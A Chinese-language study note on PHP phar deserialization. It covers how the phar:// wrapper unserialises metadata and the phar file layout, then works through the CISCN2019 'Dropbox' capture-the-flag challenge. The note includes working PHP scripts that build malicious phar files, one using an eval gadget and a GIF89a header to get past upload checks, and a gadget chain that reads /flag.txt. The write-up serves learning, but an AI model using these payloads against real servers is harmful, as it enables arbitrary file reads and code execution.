phar反序列化总结

-

在不使用unserialize()的情况下出发php反序列化漏洞:
原理是:
phar 是php归档文件,可以不经过解压被php访问执行
Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

所需要的条件

php archive php中的打包文件
在php5.3+开启
生成phar文件需要 php.ini中 phar.readonly=off

phar文件可以上传到服务器端
有可用的魔术方法
文件系统函数(file_exists(),is_dir()等)的参数可控,且:、/、phar等特殊字符没有被过滤。

序列化应该知道的东西

类的成员由属性和方法构成,序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。

phar文件结构

  1. stub(桩代码)(符合标准的临时性待编辑代码)
    必须以
    1
    __HALT_COMPILER();?>
    结尾
  2. 描述内容的清单
    被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点
  3. 文件内容
    构造时随意填写
  4. 签名
    16/20+4+4

,通过phar://协议对一个phar文件进行文件操作,如file_get_contents,就可以触发反序列化, 因为在phar.c#L618处,其调用了 php_var_unserialize:

1
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

实验

本地建立 phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

获得文件中$o数据遭遇序列化!
序列号和反序列化!
众所周知 phar://协议会解析phar文件 会将meta-data反序列化
具体受影响函数看
https://www.cnblogs.com/zzjdbk/p/13030571.html
实验 phar://反序列化

1
2
3
4
5
6
7
8
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
include('phar://phar.phar');
?>

观察phar文件是可以看到meta-data文件是被序列化过的

漏洞利用

写phar.phar 文件
进行一些常规的后缀之类的绕过
上传后 利用一些魔法函数自动反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

(这里面的class 应该与所给有魔法函数的classname相同)

https://xz.aliyun.com/t/2715

题目

[CISCN2019 华北赛区 Day1 Web1]Dropbox

按照惯例和经验,我们上传的文件是放在 网站主目录/sandbox/hash 目录下的,所以要想下载php文件必须跳转到上级目录,
下载 ../../index.php

代码审计
最先看一些 config.php class.php function.php
在class.php中可以看到file类中有file_get_contents函数 读取/flag.txt文件(这是目标)
可以调用file的方法的是 filelist 的 __call 函数
这是在close()功能内
而在user的解构函数__destruct内 存在 $this->db->close();
会自动调用db变量的close()方法
那么db变量可以直接作为file类的对象吗?
可以 但是调用不了他的方法
所以要通过 filelist 的 __call 中转一下
写序列号脚本
正序过来就是
定义一个filelist类的变量db=/flag.txt,db传入user类中,引发解构函数,到filelist下的__call,从而利用file的function函数,file_get_contents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
//phpinfo();

class User {
public $db;
}

class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}

@unlink("phar.phar");#删除phar.phar
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();#提高性能,好像不必要
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

filename=phar://phar.png
flag{b3d55a13-3b32-4a21-aa0f-02042c4ae154}

phar的格式
https://blog.csdn.net/u011474028/article/details/54973571
phar://的利用
https://xz.aliyun.com/t/2715

2018 hitcon baby cake
一个复现的wp https://www.codercto.com/a/33634.html